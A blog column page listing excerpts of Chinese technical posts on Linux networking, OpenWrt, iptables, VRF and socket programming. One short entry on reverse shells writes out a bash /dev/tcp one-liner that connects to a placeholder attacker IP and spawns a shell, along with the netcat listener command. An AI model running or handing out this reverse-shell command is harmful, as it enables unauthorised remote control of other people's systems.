
KnowHow
文章平均质量分 51
钱国正
做了10多年的嵌入式Linux开发,熟悉linux网络等
展开
专栏收录文章
- 默认排序
- 最新发布
- 最早发布
- 最多阅读
- 最少阅读
-
WiFi EasyMesh简单介绍
Wi-Fi EasyMesh is a certification program that defines multiple access point home and small office Wi-Fi networks that are easy to install and use, self-adapting, and add multi-vendor interoperability. This technology brings both consumers and service prov转载 2024-10-22 16:10:32 · 206 阅读 · 0 评论 -
Linux Kernel存储udp server的socket信息跟踪
前言工作中遇到一个内核的bug,同事给内核增加了socket绑定设备接口id的功能,主要用在绑定VRF的时候,绑定特定的设备。最近测试发现了,加了这个补丁后,导致不同vlan的dhcp server不能同时工作,为了解决这个问题,我对linux kernel如何存储socket的相关功能进行了跟踪,记录如下。应用层UDP Server创建应用层调用socket, bind创建udp server socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); bind(sock原创 2020-09-07 16:46:44 · 589 阅读 · 1 评论 -
Intel Eval Board L2TP/IPSec客户端搭建Ubuntu系统
L2TP over IPSec on Ubuntu由于Windows自带的L2TP/IPSec无法与Intel Eval Board建立连接, 这个是Intel的bug.从头搭建L2TP/IPsec 隧道。服务器端配置准备 环境: Intel Eval Board 系统:sdk 基于openwrt 主要构成软件: xl2tpd-1.3.1, strongswan, iperf3(可选,测试性能)配置/etc/xl2tpd/xl2tpd.conf[global]listen-add原创 2020-07-08 16:55:28 · 750 阅读 · 0 评论 -
Linux VRF 移植遇到的无法绑定VRF interface发送单播数据包问题
起因系统内核版本3.10.104, 然而VRF的multicast支持在4.4版本才开始,而且版本之间很多问题也不一样,后续导致了一些问题。理解错误?在我的理解中,如果要绑定VRF interface,在发送数据包的时候需要提供ifindex, 也就是真实的接口的ifindex,而不是VRF接口的ifindex.VRF 作者的pdfVRF 作者在论坛中回复问题之前的移植,发送广播的时候没什么问题,发送IPv6单播的时候就出现问题了。无法绑定vlan interface,或者VRF interf原创 2020-06-15 14:12:25 · 678 阅读 · 2 评论 -
iptable防火墙详解
一.基本格式1. iptable [-t 表] 命令选项 [连名] 匹配条件 [-j 动作]2.常用命令选项如下:-A 【append】 在指定的连的结尾添加规则-D 【delete】删除指定连中的规则,可以按规则号或规则内容匹配-I 【insert】插入一条新规则,默认是在最前面-R 【replace】 替换某一条规则-L 【list】列原创 2014-12-10 10:44:34 · 1324 阅读 · 0 评论 -
HTTPS连接的前几毫秒发生了什么
提示:英文原文写于2009年,当时的Firefox和最新版的Firefox,界面也有很大改动。以下是正文。花了数小时阅读了如潮的好评,Bob最终迫不及待为他购买的托斯卡纳全脂牛奶点击了“进行结算”,然后……哇!刚刚发生了什么?在点击按钮过后的220毫秒时间内,发生了一系列有趣的事情,火狐浏览器(Firefox)不仅改变了地址栏颜色,而且在浏览器的右下角出现了一个小锁转载 2014-12-28 22:51:14 · 1344 阅读 · 0 评论 -
http 编码chunked
之前针对这个也不是很关注,这个chunked在nginx上是默认开启的,但是在apache上没有,所以当切换服务器的时候,同时遇到了这个问题,发现数据内容存在乱码。定位我就知道应该是http header的问题,但是具体是什么也不是很清楚。仔细查阅发现,这个chunked编码。http以trunked编码方式传输的数据表示规则一般HTTP通信时会使用是Content原创 2015-02-05 15:14:10 · 4404 阅读 · 0 评论 -
gcc 编译warning 去除
1. warning: incompatible implicit declaration of built-in function 'strlen'解决方案: #include2. client.c:61: warning: passing argument 1 of 'snprintf' from incompatible pointer type解决方案: 数据类型定义错误,原创 2015-01-20 11:56:59 · 3500 阅读 · 0 评论 -
2014回顾与展望2015
首先 2014年是个值得纪念的。离开了工作两年半的公司与美丽的苏州,远赴深圳与女友会和。那是2014-3-15,我辜负了领导的期望(年终给了5倍的工资),毅然踏上了远征,我知道在公司干个五年之后的样子就是我当时直属上司,台湾公司中的课长吧。这个与我这个充满抱负的期望不符。我想飞的更高,就需要新的平台,可能会跌的很惨,但是也会经历很多。毕竟天的那一边还有一个美丽的姑娘等着我呢。临走之原创 2015-01-01 00:44:31 · 1533 阅读 · 2 评论 -
OpenWrt 官方邮件列表订阅
https://lists.openwrt.org/cgi-bin/mailman/listinfo选择合适的订阅。lists.openwrt.org Mailing ListsWelcome!Below is a listing of all the public mailing lists on lists.openwrt原创 2014-12-25 14:32:01 · 3042 阅读 · 0 评论 -
编译华硕asuswrt固件时遇到的问题 configure not supporting AM_INIT_AUTOMAKE
DescriptionConfigure of icinga-reports-1.8.0 throws the following error:root@localhost:/usr/src/icinga-reports-1.8.0# ./configure --with-jasper-server=/opt/jasperreports-server-cp-4.7.0./confi原创 2014-12-24 09:49:15 · 2506 阅读 · 0 评论 -
Ubuntu /etc/sudoers 权限被误改为777后导致sudo命令不能使用
解决办法:进入recovery mode, 选择 root, 即drop root privilege to shell.chmod 440 /etc/sudoers 修正完毕,重启系统。原创 2015-01-13 11:27:06 · 4284 阅读 · 0 评论 -
递归与尾递归(C语言)
首页最新文章在线课程业界开发IT技术设计创业IT职场在国外频道更多 >伯乐在线 >首页 > 所有文章 > C/C++ > 递归与尾递归(C语言)递归与尾递归(C语言)2014/12/05 | 分类: C/C++, IT技术 | 0 条评论 | 标签: C语言,尾递归, 递归分享到转载 2014-12-05 23:44:00 · 1924 阅读 · 0 评论 -
机器学习的11个开源项目
机器学习是目前数据分析领域的一个热点内容,在平时的学习和生活中经常会用到各种各样的机器学习算法。实际上,基于Python、Java等的很多机器学习算法基本都被前人实现过很多次了。这些算法在网上可以找到很多,然而往往存在很多“脏”或者“乱”的开源代码。在这样的背景下, InfoWorld近日公布了机器学习领域11个最受欢迎的开源项目,这11个开源项目大多与垃圾邮件过滤、人脸识别、推荐引擎相关转载 2014-12-19 13:05:17 · 1298 阅读 · 0 评论 -
iOS 文件操作
下面整段代码你直接就可以用,具体看看好好看看问题,我也是看别人的。孰能生巧。NSString 类,写了几个简单操作调用系统函数。%@打印NSString, NSArray对象。%i 整数%f 浮点NSFileManager *fileManager = [NSFileManager defaultManager]; NSArray *paths = NSSe原创 2015-01-08 23:04:42 · 966 阅读 · 0 评论 -
git如何merge github forked repository里的代码更新?
问题是这样的,github里有个项目ruby-gmail,我需要从fork自同一个项目的另一个repository拿一些Bug Fix的代码link1:https://github.com/dcparker/ruby-gmail (原作者dcparker的repository)link2:https://github.com/jihao/ruby-gmail (我从link1 fork的r原创 2014-11-30 12:12:57 · 2124 阅读 · 0 评论 -
微信与服务器端通信方式的变迁是为什么?
最近发现系统的微信认证很慢,有的甚至连接不上,发不出消息,就到网上搜索了下,还真发现了关于微信的细微变化,这点是表现在微信的请求方式上。做广告路由器的人都知道,微信认证的前提是放行微信相关的域名,或者是采用过滤URL的方式放行跟weixin相关的字符串请求。第一种方式的危险就在于更新微信服务器的时候,会导致以前的固件需要更新,第二种方式,也算是擦边球,如果里面不包含所请求的字符串,那就玩玩儿了。所原创 2015-02-16 14:44:59 · 7347 阅读 · 0 评论 -
epoll 相对于select的优势
这个问题至今才去查,是因为我需要用的地方真的不是很多,学习了那么多年,不知道自己究竟学了什么,觉得自己的优势就是针对特定知识点都熟悉点,一整套的软件架构没有搞过。再总结一点select的不足点:epoll比select牛逼的地方支持一个进程打开大数目的socket描述符select 最不能忍受的是一个进程所打开的FD是有一定限制的,由FD_SETSIZE设置,默认值是1024。对于那些需要支持的上万原创 2015-03-09 16:28:51 · 2440 阅读 · 0 评论 -
iPhone作为热点为PC提供网络
iPhone中的”个人热点” 在设置里面, 打开. PC (OS: Ubuntu) 安装libimobiledevice, ipheth-utils, usbmuxd等软件.即可在网络选择Apple iPhone提供网络.参考连接原创 2015-06-25 17:06:39 · 2393 阅读 · 0 评论 -
工作记录- 移植BGP md5支持到linux 2.6.16
需求客户需要BGP协议支持MD5加密这种安全性,所以需要实现IPv6两种协议的支持,然而标准内核在2.6.20才支持这个功能,所以,我们的活儿来了。移植参考Linux-2.6.20 将这个setsocketopt的操作抽象为回调函数,这样方便同时支持两种协议。然后就参照实现,自己添加喽,计算md5的方式参考IPv4实现,其他的参考新的内核实现。问题由于对IPv6 md5使用的不熟悉,测...原创 2019-08-16 15:45:11 · 343 阅读 · 0 评论 -
工作记录 - Linux 的socket TCP keep-alive功能在特定情况下失效的原因
问题TCP socket keep-alive 失败,导致正在进行的业务失败。分析根据数据报文发现,每次tcp ack keep-alive数据报文请求发送后如果发送别的数据,就会出现socket超时, 判断是内核处理tcp keepalive出现问题导致的。问题重现我根据这种情况,实现了一个类似的socket,发送keep-alive然后在程序中sleep特定时间,然后发送数据,模拟紧...原创 2019-08-16 15:36:42 · 1132 阅读 · 0 评论 -
Linux网络中的桥 (Bridge)
桥简介桥,从字面来讲就是在一条河流上面建造一条路,对,就是这样,甭管是多大多长跨江还是跨海,它都是起到连接两岸的作用。在计算机的网络世界中也存在这种连接的两个网络的设备,这也是一种桥,虚拟的桥。网络中的桥OK, 回归主题,什么是网络中的桥?我们在90年用的Repeater(一个比特一个比特的转发数据),后来的网桥(一帧一帧的转发),再到后来的交换机(多个端口的桥)。这些都是桥的不同形态的设...原创 2019-08-16 15:15:52 · 1182 阅读 · 0 评论 -
Linux中的虚拟路由转发VRF
无意中发现了一个巨牛的人工智能教程,忍不住分享一下给大家。教程不仅是零基础,通俗易懂,而且非常风趣幽默,像看小说一样!觉得太牛了,所以分享给大家。点 这里可以跳转到教程。VRF 简单概念虚拟路由转发(Virtual Routing and Forwarding)顾明思义,虚拟的路由转发,讲路由分成不同的分组,然后根据请求的接口,目的地址进行路由的转发,这个是工作在单台设备内的,出了这个设备就...原创 2019-07-22 21:48:16 · 2200 阅读 · 0 评论 -
Linux C语言strlcpy,strlcat函数
常用字符串操作函数strcat, 连接字符串strcpy, 拷贝字符串以上两个函数经常会出现stack overflow问题,长度问题导致的等。以下两个是相对安全一点的。strncatstrncpy但是,我个人常用的是snprintf函数,这个函数保证以NUL结尾的。所以从来不参考以上的函数。发现新大陆重温privoxy源码,发现了下面的函数strlcpystrlcat只不过这两个函数并原创 2016-06-30 23:39:55 · 1242 阅读 · 0 评论 -
iptables的nf_conntrack相关参数引起两个问题
某关键业务系统上频繁出现业务失败,并发生了一次大规模业务中断。 该系统采用两台IBM Power 740运行AIX 6.1+Oracle 11gR2 RAC作为数据库服务器,两台DELL PowerEdge R720作为应用服务器,前端采用F5作为负载均衡设备。 数据库服务器和应用服务器之间有Cisco ASA5585硬件防火墙进行访问控制。 应用服务器上运行自行开发的C程序,通过Oracle转载 2016-06-13 18:20:37 · 6409 阅读 · 0 评论 -
iptables connections state 简介
Linux Packet Filtering and iptables Prev Chapter 10. Iptables matches Next 10.3. Explicit matches Explicit matches are those that have to be specifically loaded with the -m or –match原创 2016-05-23 22:36:31 · 423 阅读 · 0 评论 -
Squid zph-qos 选项
squid默认并不是以root用户启动的进程,而且即使设置为以root用户启动也是无法生效的。所以,如果想给socket打mark即调用setsockopt API函数的话需要权限来进行操作。提权就很重要,libcap类库就是来干这个事情的。具体是在tools.cc文件中的函数实现restoreCapabilities 中CAP_NET_ADMIN就是提权的能力使能。static voidrest原创 2016-06-05 09:33:54 · 651 阅读 · 0 评论 -
tcp wrapper简介及nginx支持
Tcp wrappers : Transmission Control Protocol (TCP) Wrappers 为由 inetd 生成的服务提供了增强的安全性。Tcp wrappers是一种对使用 /etc/inetd.sec 的替换方法。TCP Wrappers 提供防止主机名和主机地址欺骗的保护。欺骗是一种伪装成有效用户或主机以获得对系统进行未经授权的访问的方法。1、重新编译Nginx转载 2016-06-05 09:20:59 · 1070 阅读 · 0 评论 -
软件持续集成思考
不知缘由现在很多项目都喜欢搞这个持续集成,不知道为什么,跟devops似的,团队之间的文化建设, 但是持续集成这个事情我是支持的。 不然对于个体的信任度加大会导致项目的整体稳定性出现问题。持续集成的利弊分析写web的用这个的频率应该比较高, 对于从事嵌入式应用软件开发来说,系统集成的问题主要是出在软件测试上,即使可以生成固件也无法自动测试。非常麻烦。项目经理–负责催促项目的研发进度 研发的人–专注原创 2015-11-25 23:15:05 · 1641 阅读 · 0 评论 -
ISC互联网安全大会
ISC互联网安全大会总结:Reconnaissance(踩点)Weaponization(组装)Delivery(投送)Exploitation(攻击)Installation(植入)C2(控制)Actions on Objectives(收割)原创 2015-10-21 21:33:14 · 714 阅读 · 0 评论 -
反向shell
参考链接客户端执行0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196服务器端执行nc -l -p <任何未封锁的端口> -vvv原创 2015-10-21 21:38:48 · 708 阅读 · 0 评论 -
OpenWrt 无线命令 iwlist
OpenWrt上移植了很多通用的无线命令, iwpriv, iwconfig, iwlist ,iw原创 2014-11-23 08:20:29 · 7021 阅读 · 0 评论 -
OpenWrt telnetd开启,需要密码和不需要密码的配置
1. 开启telnet需要原创 2014-11-23 08:44:48 · 21733 阅读 · 0 评论 -
关于 /proc/mounts
现在的 Linux 系统里一般都有这么三个文件:/etc/fstab,/etc/mtab,和 /proc/mounts,比较容易让人迷惑。简单解释一下。/etc/fstab 是只读不写的,它提供的是系统上挂载设备的静态信息,比如 mount -a 就会挂载 /etc/fstab 里面指定的文件系统。/etc/mtab 是供 mount/umount 进行读写的,是相对动态的。读的话,比如你转载 2014-05-28 15:41:03 · 14934 阅读 · 3 评论 -
lua字符匹配
匹配下列格式的数据中的 source和MAC地址:Chain WiFiDog_br-lan_Outgoing (1 references) pkts bytes target prot opt in out source destination 705 109595 MARK al原创 2014-06-04 21:11:10 · 1582 阅读 · 0 评论 -
SDP (Session Description Protocol)
1. SDP是多媒体会话的一直协议,用于广播或者通知对方信息源的位置及相关信息。原创 2013-07-31 22:34:16 · 3010 阅读 · 0 评论 -
大Boss的一堂课
由于小Leader请产假,工作安排好后,新来的同事没有按时完成,大Boss给我们开了个会。我从中总结了几点:单元测试(UT),与集成(IT),要分清楚,要做好。1.单元测试,针对特定的功能,写代码做压力测试。最重要的是要明白目标是什么?测试范围是什么?成果可靠性,可行性,等。 简单的例子就是数值范围(0-9)你要随机产生(-100~100)类似的值,循环压力测试。数据类型,是否溢原创 2013-06-17 21:45:22 · 1184 阅读 · 0 评论 -
python 实现简单client与server
socket.getaddrinfo(host, port, family=0, socktype=0, proto=0, flags=0)#根据给定的参数host/port,相应的转换成一个包含用于创建socket对象的五元组,#参数host为域名,以字符串形式给出代表一个IPV4/IPV6地址或者None.#参数port如果字符串形式就代表一个服务名,比如“http”"ftp""ema原创 2013-01-12 21:48:46 · 14050 阅读 · 3 评论 -
WIFI Calibration
EMI (Electro Magnetic Interference),电磁干扰EMI即电磁干扰。电磁干扰分为传导电磁干扰(Conducted EMI)和辐射电磁干扰(Radiated EMI)。其中,传导电磁干扰噪声在火线、中线与地线间传播,包括火线与地线、中线与地线间的共模噪声(Common-mode Noise),以及火线与中线间的差模噪声(Differential-mode Noise原创 2013-01-24 21:58:03 · 7845 阅读 · 1 评论 -
无线包获取加密方式
随着,移动网络的普及,各种路由无线AP之类的产品如雨后春笋般涌现,下面介绍下如何获得无线网络的加密方式。我们都知道现在的无线加密方式有,None, WEP, WPA-TKIP,WPA-AES,WPA2-TKIP,WPA2-AES其余的企业或者是拓展的就不介绍了,这是我们常用的加密类型。我们的站点会发送Broadcast的Probe Request,AP收到后会回复Probe Respons原创 2012-12-16 20:57:02 · 2298 阅读 · 0 评论